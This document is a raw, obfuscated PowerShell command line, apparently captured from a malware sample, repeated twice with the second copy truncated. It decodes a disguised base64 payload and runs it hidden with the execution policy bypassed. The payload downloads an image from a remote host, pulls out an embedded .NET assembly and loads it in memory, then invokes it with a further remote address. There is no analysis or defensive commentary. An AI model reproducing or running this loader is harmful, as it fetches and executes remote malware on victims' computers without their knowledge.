1Chr(63)&Chr(63)G0Chr(63)&Chr(63)cChr(63)&Chr(63)BfChr(63)&Chr(63)HChr(63)&Chr(63)Chr(63)&Chr(63)cgBpChr(63)&Chr(63)HYChr(63)&Chr(63)YQBkChr(63)&Chr(63)GEChr(63)&Chr(63)LgBqChr(63)&Chr(63)HChr(63)&Chr(63)Chr(63)&Chr(63)ZwChr(63)&Chr(63)/Chr(63)&Chr(63)DEChr(63)&Chr(63)NgChr(63)&Chr(63)5Chr(63)&Chr(63)DMChr(63)&Chr(63)OChr(63)&Chr(63)Chr(63)&Chr(63)0Chr(63)&Chr(63)DcChr(63)&Chr(63)MChr(63)&Chr(63)Chr(63)&Chr(63)3Chr(63)&Chr(63)DChr(63)&Chr(63)Chr(63)&Chr(63)JwChr(63)&Chr(63)7Chr(63)&Chr(63)CQChr(63)&Chr(63)dwBlChr(63)&Chr(63)GIChr(63)&Chr(63)QwBsChr(63)&Chr(63)GkChr(63)&Chr(63)ZQBuChr(63)&Chr(63)HQChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)TgBlChr(63)&Chr(63)HcChr(63)&Chr(63)LQBPChr(63)&Chr(63)GIChr(63)&Chr(63)agBlChr(63)&Chr(63)GMChr(63)&Chr(63)dChr(63)&Chr(63)Chr(63)&Chr(63)gChr(63)&Chr(63)FMChr(63)&Chr(63)eQBzChr(63)&Chr(63)HQChr(63)&Chr(63)ZQBtChr(63)&Chr(63)C4Chr(63)&Chr(63)TgBlChr(63)&Chr(63)HQChr(63)&Chr(63)LgBXChr(63)&Chr(63)GUChr(63)&Chr(63)YgBDChr(63)&Chr(63)GwChr(63)&Chr(63)aQBlChr(63)&Chr(63)G4Chr(63)&Chr(63)dChr(63)&Chr(63)Chr(63)&Chr(63)7Chr(63)&Chr(63)CQChr(63)&Chr(63)aQBtChr(63)&Chr(63)GEChr(63)&Chr(63)ZwBlChr(63)&Chr(63)EIChr(63)&Chr(63)eQB0Chr(63)&Chr(63)GUChr(63)&Chr(63)cwChr(63)&Chr(63)gChr(63)&Chr(63)D0Chr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)HcChr(63)&Chr(63)ZQBiChr(63)&Chr(63)EMChr(63)&Chr(63)bChr(63)&Chr(63)BpChr(63)&Chr(63)GUChr(63)&Chr(63)bgB0Chr(63)&Chr(63)C4Chr(63)&Chr(63)RChr(63)&Chr(63)BvChr(63)&Chr(63)HcChr(63)&Chr(63)bgBsChr(63)&Chr(63)G8Chr(63)&Chr(63)YQBkChr(63)&Chr(63)EQChr(63)&Chr(63)YQB0Chr(63)&Chr(63)GEChr(63)&Chr(63)KChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)GkChr(63)&Chr(63)bQBhChr(63)&Chr(63)GcChr(63)&Chr(63)ZQBVChr(63)&Chr(63)HIChr(63)&Chr(63)bChr(63)&Chr(63)Chr(63)&Chr(63)pChr(63)&Chr(63)DsChr(63)&Chr(63)JChr(63)&Chr(63)BpChr(63)&Chr(63)G0Chr(63)&Chr(63)YQBnChr(63)&Chr(63)GUChr(63)&Chr(63)VChr(63)&Chr(63)BlChr(63)&Chr(63)HgChr(63)&Chr(63)dChr(63)&Chr(63)Chr(63)&Chr(63)gChr(63)&Chr(63)D0Chr(63)&Chr(63)IChr(63)&Chr(63)BbChr(63)&Chr(63)FMChr(63)&Chr(63)eQBzChr(63)&Chr(63)HQChr(63)&Chr(63)ZQBtChr(63)&Chr(63)C4Chr(63)&Chr(63)VChr(63)&Chr(63)BlChr(63)&Chr(63)HgChr(63)&Chr(63)dChr(63)&Chr(63)Chr(63)&Chr(63)uChr(63)&Chr(63)EUChr(63)&Chr(63)bgBjChr(63)&Chr(63)G8Chr(63)&Chr(63)ZChr(63)&Chr(63)BpChr(63)&Chr(63)G4Chr(63)&Chr(63)ZwBdChr(63)&Chr(63)DoChr(63)&Chr(63)OgBVChr(63)&Chr(63)FQChr(63)&Chr(63)RgChr(63)&Chr(63)4Chr(63)&Chr(63)C4Chr(63)&Chr(63)RwBlChr(63)&Chr(63)HQChr(63)&Chr(63)UwB0Chr(63)&Chr(63)HIChr(63)&Chr(63)aQBuChr(63)&Chr(63)GcChr(63)&Chr(63)KChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)GkChr(63)&Chr(63)bQBhChr(63)&Chr(63)GcChr(63)&Chr(63)ZQBCChr(63)&Chr(63)HkChr(63)&Chr(63)dChr(63)&Chr(63)BlChr(63)&Chr(63)HMChr(63)&Chr(63)KQChr(63)&Chr(63)7Chr(63)&Chr(63)CQChr(63)&Chr(63)cwB0Chr(63)&Chr(63)GEChr(63)&Chr(63)cgB0Chr(63)&Chr(63)EYChr(63)&Chr(63)bChr(63)&Chr(63)BhChr(63)&Chr(63)GcChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JwChr(63)&Chr(63)8Chr(63)&Chr(63)DwChr(63)&Chr(63)QgBBChr(63)&Chr(63)FMChr(63)&Chr(63)RQChr(63)&Chr(63)2Chr(63)&Chr(63)DQChr(63)&Chr(63)XwBTChr(63)&Chr(63)FQChr(63)&Chr(63)QQBSChr(63)&Chr(63)FQChr(63)&Chr(63)PgChr(63)&Chr(63)+Chr(63)&Chr(63)CcChr(63)&Chr(63)OwChr(63)&Chr(63)kChr(63)&Chr(63)GUChr(63)&Chr(63)bgBkChr(63)&Chr(63)EYChr(63)&Chr(63)bChr(63)&Chr(63)BhChr(63)&Chr(63)GcChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JwChr(63)&Chr(63)8Chr(63)&Chr(63)DwChr(63)&Chr(63)QgBBChr(63)&Chr(63)FMChr(63)&Chr(63)RQChr(63)&Chr(63)2Chr(63)&Chr(63)DQChr(63)&Chr(63)XwBFChr(63)&Chr(63)E4Chr(63)&Chr(63)RChr(63)&Chr(63)Chr(63)&Chr(63)+Chr(63)&Chr(63)D4Chr(63)&Chr(63)JwChr(63)&Chr(63)7Chr(63)&Chr(63)CQChr(63)&Chr(63)cwB0Chr(63)&Chr(63)GEChr(63)&Chr(63)cgB0Chr(63)&Chr(63)EkChr(63)&Chr(63)bgBkChr(63)&Chr(63)GUChr(63)&Chr(63)eChr(63)&Chr(63)Chr(63)&Chr(63)gChr(63)&Chr(63)D0Chr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)GkChr(63)&Chr(63)bQBhChr(63)&Chr(63)GcChr(63)&Chr(63)ZQBUChr(63)&Chr(63)GUChr(63)&Chr(63)eChr(63)&Chr(63)B0Chr(63)&Chr(63)C4Chr(63)&Chr(63)SQBuChr(63)&Chr(63)GQChr(63)&Chr(63)ZQB4Chr(63)&Chr(63)E8Chr(63)&Chr(63)ZgChr(63)&Chr(63)oChr(63)&Chr(63)CQChr(63)&Chr(63)cwB0Chr(63)&Chr(63)GEChr(63)&Chr(63)cgB0Chr(63)&Chr(63)EYChr(63)&Chr(63)bChr(63)&Chr(63)BhChr(63)&Chr(63)GcChr(63)&Chr(63)KQChr(63)&Chr(63)7Chr(63)&Chr(63)CQChr(63)&Chr(63)ZQBuChr(63)&Chr(63)GQChr(63)&Chr(63)SQBuChr(63)&Chr(63)GQChr(63)&Chr(63)ZQB4Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)PQChr(63)&Chr(63)gChr(63)&Chr(63)CQChr(63)&Chr(63)aQBtChr(63)&Chr(63)GEChr(63)&Chr(63)ZwBlChr(63)&Chr(63)FQChr(63)&Chr(63)ZQB4Chr(63)&Chr(63)HQChr(63)&Chr(63)LgBJChr(63)&Chr(63)G4Chr(63)&Chr(63)ZChr(63)&Chr(63)BlChr(63)&Chr(63)HgChr(63)&Chr(63)TwBmChr(63)&Chr(63)CgChr(63)&Chr(63)JChr(63)&Chr(63)BlChr(63)&Chr(63)G4Chr(63)&Chr(63)ZChr(63)&Chr(63)BGChr(63)&Chr(63)GwChr(63)&Chr(63)YQBnChr(63)&Chr(63)CkChr(63)&Chr(63)OwChr(63)&Chr(63)kChr(63)&Chr(63)HMChr(63)&Chr(63)dChr(63)&Chr(63)BhChr(63)&Chr(63)HIChr(63)&Chr(63)dChr(63)&Chr(63)BJChr(63)&Chr(63)G4Chr(63)&Chr(63)ZChr(63)&Chr(63)BlChr(63)&Chr(63)HgChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)tChr(63)&Chr(63)GcChr(63)&Chr(63)ZQChr(63)&Chr(63)gChr(63)&Chr(63)DChr(63)&Chr(63)Chr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)tChr(63)&Chr(63)GEChr(63)&Chr(63)bgBkChr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JChr(63)&Chr(63)BlChr(63)&Chr(63)G4Chr(63)&Chr(63)ZChr(63)&Chr(63)BJChr(63)&Chr(63)G4Chr(63)&Chr(63)ZChr(63)&Chr(63)BlChr(63)&Chr(63)HgChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)tChr(63)&Chr(63)GcChr(63)&Chr(63)dChr(63)&Chr(63)Chr(63)&Chr(63)gChr(63)&Chr(63)CQChr(63)&Chr(63)cwB0Chr(63)&Chr(63)GEChr(63)&Chr(63)cgB0Chr(63)&Chr(63)EkChr(63)&Chr(63)bgBkChr(63)&Chr(63)GUChr(63)&Chr(63)eChr(63)&Chr(63)Chr(63)&Chr(63)7Chr(63)&Chr(63)CQChr(63)&Chr(63)cwB0Chr(63)&Chr(63)GEChr(63)&Chr(63)cgB0Chr(63)&Chr(63)EkChr(63)&Chr(63)bgBkChr(63)&Chr(63)GUChr(63)&Chr(63)eChr(63)&Chr(63)Chr(63)&Chr(63)gChr(63)&Chr(63)CsChr(63)&Chr(63)PQChr(63)&Chr(63)gChr(63)&Chr(63)CQChr(63)&Chr(63)cwB0Chr(63)&Chr(63)GEChr(63)&Chr(63)cgB0Chr(63)&Chr(63)EYChr(63)&Chr(63)bChr(63)&Chr(63)BhChr(63)&Chr(63)GcChr(63)&Chr(63)LgBMChr(63)&Chr(63)GUChr(63)&Chr(63)bgBnChr(63)&Chr(63)HQChr(63)&Chr(63)aChr(63)&Chr(63)Chr(63)&Chr(63)7Chr(63)&Chr(63)CQChr(63)&Chr(63)YgBhChr(63)&Chr(63)HMChr(63)&Chr(63)ZQChr(63)&Chr(63)2Chr(63)&Chr(63)DQChr(63)&Chr(63)TChr(63)&Chr(63)BlChr(63)&Chr(63)G4Chr(63)&Chr(63)ZwB0Chr(63)&Chr(63)GgChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JChr(63)&Chr(63)BlChr(63)&Chr(63)G4Chr(63)&Chr(63)ZChr(63)&Chr(63)BJChr(63)&Chr(63)G4Chr(63)&Chr(63)ZChr(63)&Chr(63)BlChr(63)&Chr(63)HgChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)tChr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JChr(63)&Chr(63)BzChr(63)&Chr(63)HQChr(63)&Chr(63)YQByChr(63)&Chr(63)HQChr(63)&Chr(63)SQBuChr(63)&Chr(63)GQChr(63)&Chr(63)ZQB4Chr(63)&Chr(63)DsChr(63)&Chr(63)JChr(63)&Chr(63)BiChr(63)&Chr(63)GEChr(63)&Chr(63)cwBlChr(63)&Chr(63)DYChr(63)&Chr(63)NChr(63)&Chr(63)BDChr(63)&Chr(63)G8Chr(63)&Chr(63)bQBtChr(63)&Chr(63)GEChr(63)&Chr(63)bgBkChr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)PQChr(63)&Chr(63)gChr(63)&Chr(63)CQChr(63)&Chr(63)aQBtChr(63)&Chr(63)GEChr(63)&Chr(63)ZwBlChr(63)&Chr(63)FQChr(63)&Chr(63)ZQB4Chr(63)&Chr(63)HQChr(63)&Chr(63)LgBTChr(63)&Chr(63)HUChr(63)&Chr(63)YgBzChr(63)&Chr(63)HQChr(63)&Chr(63)cgBpChr(63)&Chr(63)G4Chr(63)&Chr(63)ZwChr(63)&Chr(63)oChr(63)&Chr(63)CQChr(63)&Chr(63)cwB0Chr(63)&Chr(63)GEChr(63)&Chr(63)cgB0Chr(63)&Chr(63)EkChr(63)&Chr(63)bgBkChr(63)&Chr(63)GUChr(63)&Chr(63)eChr(63)&Chr(63)Chr(63)&Chr(63)sChr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JChr(63)&Chr(63)BiChr(63)&Chr(63)GEChr(63)&Chr(63)cwBlChr(63)&Chr(63)DYChr(63)&Chr(63)NChr(63)&Chr(63)BMChr(63)&Chr(63)GUChr(63)&Chr(63)bgBnChr(63)&Chr(63)HQChr(63)&Chr(63)aChr(63)&Chr(63)Chr(63)&Chr(63)pChr(63)&Chr(63)DsChr(63)&Chr(63)JChr(63)&Chr(63)BjChr(63)&Chr(63)G8Chr(63)&Chr(63)bQBtChr(63)&Chr(63)GEChr(63)&Chr(63)bgBkChr(63)&Chr(63)EIChr(63)&Chr(63)eQB0Chr(63)&Chr(63)GUChr(63)&Chr(63)cwChr(63)&Chr(63)gChr(63)&Chr(63)D0Chr(63)&Chr(63)IChr(63)&Chr(63)BbChr(63)&Chr(63)FMChr(63)&Chr(63)eQBzChr(63)&Chr(63)HQChr(63)&Chr(63)ZQBtChr(63)&Chr(63)C4Chr(63)&Chr(63)QwBvChr(63)&Chr(63)G4Chr(63)&Chr(63)dgBlChr(63)&Chr(63)HIChr(63)&Chr(63)dChr(63)&Chr(63)BdChr(63)&Chr(63)DoChr(63)&Chr(63)OgBGChr(63)&Chr(63)HIChr(63)&Chr(63)bwBtChr(63)&Chr(63)EIChr(63)&Chr(63)YQBzChr(63)&Chr(63)GUChr(63)&Chr(63)NgChr(63)&Chr(63)0Chr(63)&Chr(63)FMChr(63)&Chr(63)dChr(63)&Chr(63)ByChr(63)&Chr(63)GkChr(63)&Chr(63)bgBnChr(63)&Chr(63)CgChr(63)&Chr(63)JChr(63)&Chr(63)BiChr(63)&Chr(63)GEChr(63)&Chr(63)cwBlChr(63)&Chr(63)DYChr(63)&Chr(63)NChr(63)&Chr(63)BDChr(63)&Chr(63)G8Chr(63)&Chr(63)bQBtChr(63)&Chr(63)GEChr(63)&Chr(63)bgBkChr(63)&Chr(63)CkChr(63)&Chr(63)OwChr(63)&Chr(63)kChr(63)&Chr(63)GwChr(63)&Chr(63)bwBhChr(63)&Chr(63)GQChr(63)&Chr(63)ZQBkChr(63)&Chr(63)EEChr(63)&Chr(63)cwBzChr(63)&Chr(63)GUChr(63)&Chr(63)bQBiChr(63)&Chr(63)GwChr(63)&Chr(63)eQChr(63)&Chr(63)gChr(63)&Chr(63)D0Chr(63)&Chr(63)IChr(63)&Chr(63)BbChr(63)&Chr(63)FMChr(63)&Chr(63)eQBzChr(63)&Chr(63)HQChr(63)&Chr(63)ZQBtChr(63)&Chr(63)C4Chr(63)&Chr(63)UgBlChr(63)&Chr(63)GYChr(63)&Chr(63)bChr(63)&Chr(63)BlChr(63)&Chr(63)GMChr(63)&Chr(63)dChr(63)&Chr(63)BpChr(63)&Chr(63)G8Chr(63)&Chr(63)bgChr(63)&Chr(63)uChr(63)&Chr(63)EEChr(63)&Chr(63)cwBzChr(63)&Chr(63)GUChr(63)&Chr(63)bQBiChr(63)&Chr(63)GwChr(63)&Chr(63)eQBdChr(63)&Chr(63)DoChr(63)&Chr(63)OgBMChr(63)&Chr(63)G8Chr(63)&Chr(63)YQBkChr(63)&Chr(63)CgChr(63)&Chr(63)JChr(63)&Chr(63)BjChr(63)&Chr(63)G8Chr(63)&Chr(63)bQBtChr(63)&Chr(63)GEChr(63)&Chr(63)bgBkChr(63)&Chr(63)EIChr(63)&Chr(63)eQB0Chr(63)&Chr(63)GUChr(63)&Chr(63)cwChr(63)&Chr(63)pChr(63)&Chr(63)DsChr(63)&Chr(63)JChr(63)&Chr(63)B0Chr(63)&Chr(63)HkChr(63)&Chr(63)cChr(63)&Chr(63)BlChr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)PQChr(63)&Chr(63)gChr(63)&Chr(63)CQChr(63)&Chr(63)bChr(63)&Chr(63)BvChr(63)&Chr(63)GEChr(63)&Chr(63)ZChr(63)&Chr(63)BlChr(63)&Chr(63)GQChr(63)&Chr(63)QQBzChr(63)&Chr(63)HMChr(63)&Chr(63)ZQBtChr(63)&Chr(63)GIChr(63)&Chr(63)bChr(63)&Chr(63)B5Chr(63)&Chr(63)C4Chr(63)&Chr(63)RwBlChr(63)&Chr(63)HQChr(63)&Chr(63)VChr(63)&Chr(63)B5Chr(63)&Chr(63)HChr(63)&Chr(63)Chr(63)&Chr(63)ZQChr(63)&Chr(63)oChr(63)&Chr(63)CcChr(63)&Chr(63)RgBpChr(63)&Chr(63)GIChr(63)&Chr(63)ZQByChr(63)&Chr(63)C4Chr(63)&Chr(63)SChr(63)&Chr(63)BvChr(63)&Chr(63)G0Chr(63)&Chr(63)ZQChr(63)&Chr(63)nChr(63)&Chr(63)CkChr(63)&Chr(63)OwChr(63)&Chr(63)kChr(63)&Chr(63)G0Chr(63)&Chr(63)ZQB0Chr(63)&Chr(63)GgChr(63)&Chr(63)bwBkChr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)PQChr(63)&Chr(63)gChr(63)&Chr(63)CQChr(63)&Chr(63)dChr(63)&Chr(63)B5Chr(63)&Chr(63)HChr(63)&Chr(63)Chr(63)&Chr(63)ZQChr(63)&Chr(63)uChr(63)&Chr(63)EcChr(63)&Chr(63)ZQB0Chr(63)&Chr(63)E0Chr(63)&Chr(63)ZQB0Chr(63)&Chr(63)GgChr(63)&Chr(63)bwBkChr(63)&Chr(63)CgChr(63)&Chr(63)JwBWChr(63)&Chr(63)EEChr(63)&Chr(63)SQChr(63)&Chr(63)nChr(63)&Chr(63)CkChr(63)&Chr(63)OwChr(63)&Chr(63)kChr(63)&Chr(63)GEChr(63)&Chr(63)cgBnChr(63)&Chr(63)HUChr(63)&Chr(63)bQBlChr(63)&Chr(63)G4Chr(63)&Chr(63)dChr(63)&Chr(63)BzChr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)PQChr(63)&Chr(63)gChr(63)&Chr(63)CwChr(63)&Chr(63)KChr(63)&Chr(63)Chr(63)&Chr(63)nChr(63)&Chr(63)HQChr(63)&Chr(63)eChr(63)&Chr(63)B0Chr(63)&Chr(63)C4Chr(63)&Chr(63)NChr(63)&Chr(63)Chr(63)&Chr(63)0Chr(63)&Chr(63)DQChr(63)&Chr(63)NChr(63)&Chr(63)Chr(63)&Chr(63)2Chr(63)&Chr(63)DMChr(63)&Chr(63)cwBhChr(63)&Chr(63)GIChr(63)&Chr(63)cwBzChr(63)&Chr(63)HMChr(63)&Chr(63)cwBvChr(63)&Chr(63)HYChr(63)&Chr(63)aQB0Chr(63)&Chr(63)GsChr(63)&Chr(63)YQChr(63)&Chr(63)yChr(63)&Chr(63)GEChr(63)&Chr(63)bQBhChr(63)&Chr(63)HChr(63)&Chr(63)Chr(63)&Chr(63)YQChr(63)&Chr(63)vChr(63)&Chr(63)DYChr(63)&Chr(63)NQChr(63)&Chr(63)uChr(63)&Chr(63)DcChr(63)&Chr(63)MgChr(63)&Chr(63)uChr(63)&Chr(63)DQChr(63)&Chr(63)MQChr(63)&Chr(63)yChr(63)&Chr(63)C4Chr(63)&Chr(63)NQChr(63)&Chr(63)5Chr(63)&Chr(63)C8Chr(63)&Chr(63)LwChr(63)&Chr(63)6Chr(63)&Chr(63)HChr(63)&Chr(63)Chr(63)&Chr(63)dChr(63)&Chr(63)B0Chr(63)&Chr(63)GgChr(63)&Chr(63)JwChr(63)&Chr(63)pChr(63)&Chr(63)DsChr(63)&Chr(63)JChr(63)&Chr(63)BtChr(63)&Chr(63)GUChr(63)&Chr(63)dChr(63)&Chr(63)BoChr(63)&Chr(63)G8Chr(63)&Chr(63)ZChr(63)&Chr(63)Chr(63)&Chr(63)uChr(63)&Chr(63)EkChr(63)&Chr(63)bgB2Chr(63)&Chr(63)G8Chr(63)&Chr(63)awBlChr(63)&Chr(63)CgChr(63)&Chr(63)JChr(63)&Chr(63)BuChr(63)&Chr(63)HUChr(63)&Chr(63)bChr(63)&Chr(63)BsChr(63)&Chr(63)CwChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)GEChr(63)&Chr(63)cgBnChr(63)&Chr(63)HUChr(63)&Chr(63)bQBlChr(63)&Chr(63)G4Chr(63)&Chr(63)dChr(63)&Chr(63)BzChr(63)&Chr(63)CkChr(63)&Chr(63)';$OWjuxd = [system.Text.encoding]::Unicode.GetString( [system.Convert]::Frombase64String( $codigo.replace('Chr(63)&Chr(63)','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypss -NoProfile -command $OWjuxD
cmdline powershell -command $Codigo = 'JChr(63)&Chr(63)BpChr(63)&Chr(63)G0Chr(63)&Chr(63)YQBnChr(63)&Chr(63)GUChr(63)&Chr(63)VQByChr(63)&Chr(63)GwChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JwBoChr(63)&Chr(63)HQChr(63)&Chr(63)dChr(63)&Chr(63)BwChr(63)&Chr(63)HMChr(63)&Chr(63)OgChr(63)&Chr(63)vChr(63)&Chr(63)C8Chr(63)&Chr(63)dQBwChr(63)&Chr(63)GwChr(63)&Chr(63)bwBhChr(63)&Chr(63)GQChr(63)&Chr(63)ZChr(63)&Chr(63)BlChr(63)&Chr(63)GkChr(63)&Chr(63)bQBhChr(63)&Chr(63)GcChr(63)&Chr(63)ZQBuChr(63)&Chr(63)HMChr(63)&Chr(63)LgBjChr(63)&Chr(63)G8Chr(63)&Chr(63)bQChr(63)&Chr(63)uChr(63)&Chr(63)GIChr(63)&Chr(63)cgChr(63)&Chr(63)vChr(63)&Chr(63)GkChr(63)&Chr(63)bQBhChr(63)&Chr(63)GcChr(63)&Chr(63)ZQBzChr(63)&Chr(63)C8Chr(63)&Chr(63)MChr(63)&Chr(63)Chr(63)&Chr(63)wChr(63)&Chr(63)DQChr(63)&Chr(63)LwChr(63)&Chr(63)1Chr(63)&Chr(63)DkChr(63)&Chr(63)NwChr(63)&Chr(63)vChr(63)&Chr(63)DIChr(63)&Chr(63)MwChr(63)&Chr(63)2Chr(63)&Chr(63)C8Chr(63)&Chr(63)bwByChr(63)&Chr(63)GkChr(63)&Chr(63)ZwBpChr(63)&Chr(63)G4Chr(63)&Chr(63)YQBsChr(63)&Chr(63)C8Chr(63)&Chr(63)cgB1Chr(63)&Chr(63)G0Chr(63)&Chr(63)cChr(63)&Chr(63)BfChr(63)&Chr(63)HChr(63)&Chr(63)Chr(63)&Chr(63)cgBpChr(63)&Chr(63)HYChr(63)&Chr(63)YQBkChr(63)&Chr(63)GEChr(63)&Chr(63)LgBqChr(63)&Chr(63)HChr(63)&Chr(63)Chr(63)&Chr(63)ZwChr(63)&Chr(63)/Chr(63)&Chr(63)DEChr(63)&Chr(63)NgChr(63)&Chr(63)5Chr(63)&Chr(63)DMChr(63)&Chr(63)OChr(63)&Chr(63)Chr(63)&Chr(63)0Chr(63)&Chr(63)DcChr(63)&Chr(63)MChr(63)&Chr(63)Chr(63)&Chr(63)3Chr(63)&Chr(63)DChr(63)&Chr(63)Chr(63)&Chr(63)JwChr(63)&Chr(63)7Chr(63)&Chr(63)CQChr(63)&Chr(63)dwBlChr(63)&Chr(63)GIChr(63)&Chr(63)QwBsChr(63)&Chr(63)GkChr(63)&Chr(63)ZQBuChr(63)&Chr(63)HQChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)TgBlChr(63)&Chr(63)HcChr(63)&Chr(63)LQBPChr(63)&Chr(63)GIChr(63)&Chr(63)agBlChr(63)&Chr(63)GMChr(63)&Chr(63)dChr(63)&Chr(63)Chr(63)&Chr(63)gChr(63)&Chr(63)FMChr(63)&Chr(63)eQBzChr(63)&Chr(63)HQChr(63)&Chr(63)ZQBtChr(63)&Chr(63)C4Chr(63)&Chr(63)TgBlChr(63)&Chr(63)HQChr(63)&Chr(63)LgBXChr(63)&Chr(63)GUChr(63)&Chr(63)YgBDChr(63)&Chr(63)GwChr(63)&Chr(63)aQBlChr(63)&Chr(63)G4Chr(63)&Chr(63)dChr(63)&Chr(63)Chr(63)&Chr(63)7Chr(63)&Chr(63)CQChr(63)&Chr(63)aQBtChr(63)&Chr(63)GEChr(63)&Chr(63)ZwBlChr(63)&Chr(63)EIChr(63)&Chr(63)eQB0Chr(63)&Chr(63)GUChr(63)&Chr(63)cwChr(63)&Chr(63)gChr(63)&Chr(63)D0Chr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)HcChr(63)&Chr(63)ZQBiChr(63)&Chr(63)EMChr(63)&Chr(63)bChr(63)&Chr(63)BpChr(63)&Chr(63)GUChr(63)&Chr(63)bgB0Chr(63)&Chr(63)C4Chr(63)&Chr(63)RChr(63)&Chr(63)BvChr(63)&Chr(63)HcChr(63)&Chr(63)bgBsChr(63)&Chr(63)G8Chr(63)&Chr(63)YQBkChr(63)&Chr(63)EQChr(63)&Chr(63)YQB0Chr(63)&Chr(63)GEChr(63)&Chr(63)KChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)GkChr(63)&Chr(63)bQBhChr(63)&Chr(63)GcChr(63)&Chr(63)ZQBVChr(63)&Chr(63)HIChr(63)&Chr(63)bChr(63)&Chr(63)Chr(63)&Chr(63)pChr(63)&Chr(63)DsChr(63)&Chr(63)JChr(63)&Chr(63)BpChr(63)&Chr(63)G0Chr(63)&Chr(63)YQBnChr(63)&Chr(63)GUChr(63)&Chr(63)VChr(63)&Chr(63)BlChr(63)&Chr(63)HgChr(63)&Chr(63)dChr(63)&Chr(63)Chr(63)&Chr(63)gChr(63)&Chr(63)D0Chr(63)&Chr(63)IChr(63)&Chr(63)BbChr(63)&Chr(63)FMChr(63)&Chr(63)eQBzChr(63)&Chr(63)HQChr(63)&Chr(63)ZQBtChr(63)&Chr(63)C4Chr(63)&Chr(63)VChr(63)&Chr(63)BlChr(63)&Chr(63)HgChr(63)&Chr(63)dChr(63)&Chr(63)Chr(63)&Chr(63)uChr(63)&Chr(63)EUChr(63)&Chr(63)bgBjChr(63)&Chr(63)G8Chr(63)&Chr(63)ZChr(63)&Chr(63)BpChr(63)&Chr(63)G4Chr(63)&Chr(63)ZwBdChr(63)&Chr(63)DoChr(63)&Chr(63)OgBVChr(63)&Chr(63)FQChr(63)&Chr(63)RgChr(63)&Chr(63)4Chr(63)&Chr(63)C4Chr(63)&Chr(63)RwBlChr(63)&Chr(63)HQChr(63)&Chr(63)UwB0Chr(63)&Chr(63)HIChr(63)&Chr(63)aQBuChr(63)&Chr(63)GcChr(63)&Chr(63)KChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)GkChr(63)&Chr(63)bQBhChr(63)&Chr(63)GcChr(63)&Chr(63)ZQBCChr(63)&Chr(63)HkChr(63)&Chr(63)dChr(63)&Chr(63)BlChr(63)&Chr(63)HMChr(63)&Chr(63)KQChr(63)&Chr(63)7Chr(63)&Chr(63)CQChr(63)&Chr(63)cwB0Chr(63)&Chr(63)GEChr(63)&Chr(63)cgB0Chr(63)&Chr(63)EYChr(63)&Chr(63)bChr(63)&Chr(63)BhChr(63)&Chr(63)GcChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JwChr(63)&Chr(63)8Chr(63)&Chr(63)DwChr(63)&Chr(63)QgBBChr(63)&Chr(63)FMChr(63)&Chr(63)RQChr(63)&Chr(63)2Chr(63)&Chr(63)DQChr(63)&Chr(63)XwBTChr(63)&Chr(63)FQChr(63)&Chr(63)QQBSChr(63)&Chr(63)FQChr(63)&Chr(63)PgChr(63)&Chr(63)+Chr(63)&Chr(63)CcChr(63)&Chr(63)OwChr(63)&Chr(63)kChr(63)&Chr(63)GUChr(63)&Chr(63)bgBkChr(63)&Chr(63)EYChr(63)&Chr(63)bChr(63)&Chr(63)BhChr(63)&Chr(63)GcChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JwChr(63)&Chr(63)8Chr(63)&Chr(63)DwChr(63)&Chr(63)QgBBChr(63)&Chr(63)FMChr(63)&Chr(63)RQChr(63)&Chr(63)2Chr(63)&Chr(63)DQChr(63)&Chr(63)XwBFChr(63)&Chr(63)E4Chr(63)&Chr(63)RChr(63)&Chr(63)Chr(63)&Chr(63)+Chr(63)&Chr(63)D4Chr(63)&Chr(63)JwChr(63)&Chr(63)7Chr(63)&Chr(63)CQChr(63)&Chr(63)cwB0Chr(63)&Chr(63)GEChr(63)&Chr(63)cgB0Chr(63)&Chr(63)EkChr(63)&Chr(63)bgBkChr(63)&Chr(63)GUChr(63)&Chr(63)eChr(63)&Chr(63)Chr(63)&Chr(63)gChr(63)&Chr(63)D0Chr(63)&Chr(63)IChr(63)&C